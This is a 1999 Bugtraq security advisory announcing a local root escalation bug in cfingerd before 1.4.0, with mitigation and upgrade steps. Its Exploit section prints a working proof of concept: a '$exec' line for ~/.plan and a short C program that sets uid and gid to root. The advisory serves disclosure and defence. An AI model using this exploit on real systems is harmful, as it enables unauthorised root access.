[11353] in bugtraq
Severe bug in cfingerd before 1.4.0
daemon@ATHENA.MIT.EDU (Martin Schulze)
Wed Aug 11 11:37:39 1999
Mime-Version: 1.0
Content-Type: multipart/signed; boundary=Nq2Wo0NMKNjxTN9z; micalg=pgp-md5;
protocol="application/pgp-signature"
Message-Id: <19990810203437.E10498@finlandia.infodrom.north.de>
Date: Tue, 10 Aug 1999 20:34:37 +0200
Reply-To: Martin Schulze <joey@infodrom.north.de>
From: Martin Schulze <joey@FINLANDIA.INFODROM.NORTH.DE>
X-To: Bugtraq <bugtraq@NETSPACE.ORG>
To: BUGTRAQ@SECURITYFOCUS.COM
--Nq2Wo0NMKNjxTN9z
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: quoted-printable
Bugtraq Security Advisory
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
A serious bug in cfingerd before version 1.4.0 has been reported.
It is present in all versions of cfingerd from 1.2.0 up to any
version of 1.3.2. If configured accordingly this bug enables any
local user to execute random programs with root priviledges.
Although I haven't been quite verbose with development of cfingerd,
Ken Hollis (the original author) has handed maintainership over to
me a while ago. I did some development and fixed some security
related bugs, but never made an official release. This is done now.
Affected systems
----------------
All systems running a version of cfingerd beginning with version
1.2.0 and before version 1.4.0 are affected.
You are safe if you have disabled ALLOW_EXECUTION in your
cfingerd.conf file in section "internal_config", i.e. that file
contains a line "-ALLOW_EXECUTION".
This is the default configuration of this package. If you use the
default cfingerd.conf file as shipped with the distribution you are
safe. You should still upgrade.
Recommended action
------------------
1st Immediately turn off ALLOW_EXECUTION in your cfingerd.conf file.
2nd Upgrade to the most recent version of cfingerd 1.4.0 to be found
at the primary site
ftp://ftp.infodrom.north.de/pub/people/joey/cfingerd/ or
ftp://metalab.unc.edu/pub/Linux/system/network/finger/ .
Exploit
-------
The exploit is quite simple. Thanks go to Tadek Knapik
<tadek@nautilus.uwoj.krakow.pl> who has informed me.
You need to add
$exec /tmp/relinq
to your ~/.plan file. Then compile the following relinq.c file in
/tmp:
#include <stdio.h>
void main()
{
printf("Root exploit test\n");
setregid(0, 0);
setreuid(0, 0);
printf("User: %d, group: %d.\n", getuid(), getgid());
}
Checksum
--------
File: ftp://ftp.infodrom.north.de/pub/people/joey/cfingerd/cfingerd-1.4=
.0.tar.gz
MD5sum: dcc25e89ba1dad6497365429b1db2909
Regards,
Joey
--=20
Experience is something you don't get until just after you need it.
--Nq2Wo0NMKNjxTN9z
Content-Type: application/pgp-signature
-----BEGIN PGP SIGNATURE-----
Version: 2.6.3ia
iQCVAwUBN7BwvRRNm5Suj3z1AQH1aAP9HEhk0VT2C4SEWgjBO2SijspLYb0UcyG3
8Vv0XMpIcj7AvAsecC0OVMACvYs7FSon9p1DxuREJIr90SMSiMUlBGsQjrphXjfq
L9e1TVP6kExHFMVN7OiEaHpfxBxa0VDr6LiBIHf8gRfAmRtzGZrMw7NCJ4PY1Uax
XBPQ+sp2jr0=
=Y/zi
-----END PGP SIGNATURE-----
--Nq2Wo0NMKNjxTN9z--
